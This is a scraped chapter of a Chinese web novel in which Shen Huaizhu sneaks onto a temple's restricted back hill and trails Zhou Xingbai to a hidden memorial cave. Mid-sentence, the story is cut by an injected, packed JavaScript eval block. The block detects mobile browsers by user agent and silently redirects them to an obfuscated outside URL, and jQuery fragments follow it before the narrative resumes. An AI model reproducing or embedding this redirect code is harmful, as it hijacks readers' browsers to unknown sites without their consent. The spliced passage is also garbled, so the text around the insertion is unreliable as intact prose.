莲花寺位于城西十五里的清泉谷内，依山而建。因其殿宇四角翘檐皆为莲花雕饰，故此得名。它是鄞州香火最盛的庙宇，先皇时，是皇家祭祀的地方，寻常百姓均不得入内。改朝换代后，新帝不愿跑这么远来祭祀，莲花寺便渐渐沦为民间寻常寺庙。只是因着曾与皇室的关系，引得富商权贵们络绎不绝，虔诚祈福，香火绵延不断。


    来到鄞州日久，沈怀珠头一次来莲花寺。路途遥远，她雇了辆马车，现下正端坐在马车内，闭目养神。


    “姑娘，到了。”帘外车夫的声音落来，沈怀珠缓缓掀起眼皮。面如春水，色若桃花。眉心花钿点缀，装扮地同寻常贵女无甚区别。


    车帘轻卷，女子身着一身海棠色的束腰纱裙，衬得肌肤越发白皙出尘。她提好放着香烛瓜果的竹篮，缓步走向轻掩着的寺门。


    传闻佛荫节是诸神明聚在一起的日子，为求众神荫庇，不论达官贵人，还是寻常百姓，都纷纷选在这天来供奉香火，好叫心底所求上达天听，获得保佑。


    还没到辰时，莲花寺已人满为患。放眼望去，有穿金戴银的贵女公子，华盖马车鹤立鸡群；有踏青赏花的妙龄少女，穿得整齐干净的书生，还有捧着给线香贡品来祈福的百姓……看得人眼花缭乱，不一而足。


    想在这里头找个人，宛若大海捞针。


    早知道就给徐纾传信，同他们一起来了，省得她费眼睛。沈怀珠暗自懊恼，随着人流涌进莲花寺的大门。


    莲花寺规模很大，进门首先就是正殿，来祈福拜佛的人多数在这里停步，赏玩风景的则越过正殿，顺着两侧的蜿蜒小路往后走，约莫跨过五六座殿宇，才能走到桃花林的下头。左右两边各有小径，但只有左边的能到桃花林，右边的则是往相反方向的后山，写着“游人勿入”的木板。


    偶尔有人议论，“后山怎么又不让进？”


    又有知道内情的人解答，“估摸着又有达官贵人做法事呗，今天这日子，做法事祭祀的恐怕多到比这花儿还密集。”


    “后山是专供奉牌位的地方，便是让进，又去做什么？难不成这桃花不够吸引人？”


    ……


    徐纾言明他们二人来莲花寺是为赏花，自然该往左边走。少男少女、儒雅书生也都踏上左边的小径，通往同一个目的地。然而沈怀珠站在山脚下，遥望左侧芳菲春桃，迟迟没动脚。


    趁着无人注意，沈怀珠悄声挪到右边的柳树下，借枝条掩护，跨过警示木牌。


    “阿弥陀佛，女施主，请留步。”


    沈怀珠回头，是个年纪尚轻的小沙弥。


    “小师傅，我来此处祭祀故人，缘何要留步？”沈怀珠双手合十，垂首还礼。


    “女施主有所不知，今日是孙氏祭祖之日，为免扰清净，后山今日不接外客，还请女施主见谅。”


    祭祖？孙氏？能让莲花寺拒接外客的，向来非富即贵。整个鄞州能有这般能耐的孙氏，除了孙玉德还再没第二个人。


    透过稀碎枝叶，她隐约看到有人影移动，正往上慢悠悠的走。


    察觉到沈怀珠的视线，小沙弥立时上前，挡住她的视线，道：“女施主，烦请改日再来。”


    “我很快的，供奉完香火，立刻出来，绝不打扰贵人。”


    “阿弥陀佛，施主，莫要让小僧为难。”


    小沙弥垂眼而立，一派淡然，却始终不肯做半分让步。


    想起周行白日日供奉的武财神像后的玄机，沈怀珠心里生出个大胆的猜测。想要验证，须得登上后山一探究竟。


    然而这沙弥冥顽不灵，她该如何悄无声息潜入呢？沈怀珠不动声色地观察周围，确认没人，她便摸出一根银针，想刺入沙弥颈后的百会穴，令他暂时失去意识。


    她轻转手腕，就要将银针刺出的刹那间，身后忽然传来脚步声。她迅速收手，藏回袖中。


    “沈姑娘？你来了。”


    徐纾认出女子的身影，喜上眉梢，径直走到她面前。


    沈怀珠莞尔，不经意瞥了他身后跟着的青年一眼，“山寺桃花难得一观，我也来凑个热闹。”


    仅仅一瞬，徐纾捕捉到她的视线，跃起的愉悦心情顿时跌落，满心五味杂陈。他重振精神，挂上得体的笑，“好啊，正好同行。”


    三人并肩而行时，徐纾有意无意地落后半步，让两人走在他前面。周行白今日穿得是件浅蓝色大袖衫，举手投足颇有风流潇洒的姿态，和身边那抹海棠色莫名相配。


    徐纾露出苦涩地笑，他到底是慢了一步。惊艳他的初见，是她对另一个人主动的步伐。


    沈怀珠一心盘算接下来该怎么办，没有半点多余的心思欣赏桃花。身边的人陡然站定，她吓了一跳，转头疑惑地望向周行白。


    周行白：“桃花林人太多，不如我们先到寺里歇歇脚，等人消散些再来？”


    沈怀珠愣住，这是唱的哪出戏？还是徐纾抢先接过话，“沈姑娘，你意下如何？”


    “好。”沈怀珠道。


    眼看就要走到桃花林，又忽然折返，沈怀珠刻意走在最后，时不时地回头，想瞧瞧到底有何玄机。下山的路比上山好走的多，很快就回到山脚的分岔路口。方才拦住沈怀珠的小沙弥并未远走，还在原处双手合十地念念有词。


    周行白快步走到他面前，合掌回礼，礼貌地打听道，“小师傅，寺里现在可有地方歇脚？”


    小沙弥头也没抬，道：“阿弥陀佛，请三位施主跟我来吧。”


    三人在他的带领下先走侧门，穿过游廊，绕到一处院落。院子里摆着几口大缸，里头种着碗口大的莲花。没到花期，金色的锦鲤只能莲叶间嬉戏，好不快活。沈怀珠抬眸观察周围陈设，俱是雅致灵气，和寻常寺庙里供游客歇脚的厢房相比，简直云泥之别。


    引路的沙弥走到门口，施礼退下，“三位施主在此歇息片刻，茶水自便。”


    厢房陈设简单，窄小的室内添置了基本的家具，木桌靠


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319499|167411||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    墙，上头挂着一副山水画。徐纾和周行白走到旁边的罗汉床边，各自坐一头。


    沈怀珠则就近在方桌后坐下，倒了杯茶，轻轻吹散袅袅热气，“听闻周先生饱读圣贤书，学识渊博，原来在佛道上也有所造诣？”


    周行白依旧淡淡地，“姑娘谬赞。”


    沈怀珠笑：“何必这般谦虚，能给孙家的儿郎教授课业的先生，定然差不到哪儿去。只是先生年纪轻轻，为何甘心留在别人家里做西席？以先生的才华，中个三甲进士不成问题，到时有了官身，岂不更富贵？”


    “荣华富贵又如何？周某志不在做官，千金也无用。”


    沈怀珠不依不饶：“原来如此。瞧着周先生和寺里的小沙弥熟稔得很，难道考虑做和尚？”


    周行白瞳孔微震，沉默不语。


    室内一时气氛微妙，徐纾察言观色，在中间打圆场，“这茶汤色透亮，唇齿生津，没想到能在这里喝到贡茶，当真难得。”


    两人无声对峙，都没理会他这番话。


    徐纾轻咳几声，提示周行白莫要这般较真。沈姑娘没有恶意，俱是出自爱慕才真心关切。然而当事人在场，他不好挑明，只能频频暗示。


    周行白似乎明白他的用心，放下茶碗，“我出去透透气，你们不必等我。”


    徐纾欲言又止，终于还是没出声，眼睁睁望着他拂袖的背影。再看沈怀珠，宛若无事发生，自顾自盯手里的茶碗，眉眼氤氲在袅袅热雾里，如何都看不清。


    轻叹一口气，徐纾安慰道，“他就是这般性子，对别的女子更冷清，你切莫放在心里。”


    沈怀珠从热腾腾地云雾里抬首，不明白他在说什么，“啊？”


    算着时辰差不多，沈怀珠借口更衣，溜出厢房院子，远远地跟在周行白身后，尾随她穿过廊庑，绕过一个挤满人的放生池，步履不停，走到后山的山脚处。


    熟悉的分叉口，周行白毫不犹豫地跨过“游人勿入”的木板，亦步亦趋地往山上走，很快隐没在茂密的树林里。


    按照方才小沙弥所说，孙玉德一行人正在后山祭祀祖先，这才不许人进入。周行白为何要去后山，他去祭祀谁？


    沈怀珠心里那个大胆的想法又冒出来，她蹑手蹑脚地靠近，迅速地跟了上去。一路跟随周行白左绕右绕，终于在一个山洞前停下脚步。而山洞的另一面，正是孙玉德祭祀祖先的地方，点烧的元宝香烛，化作滚滚尘烟飘向天空，自然也飞到这边的山洞来。


    周行白抬头望了望肆意飞扬的尘烟，闪身进入山洞。


    趴在洞口仔细往里看，烛火明灭，香灰缭绕。俨然是依托山洞，所建造的供奉牌位的殿所。


    只见浅蓝色的身影从香案上捻起几支线香，就这香烛点燃，甩灭，沉默地给每个牌位都续上新香，又用袖子把掉下来的香灰擦干净。明明灭灭的山洞里，他神情凝重，眼底隐有哀恸，站在绵延不尽的香火前，身形孤单，好似天地间只剩他一人般苍凉。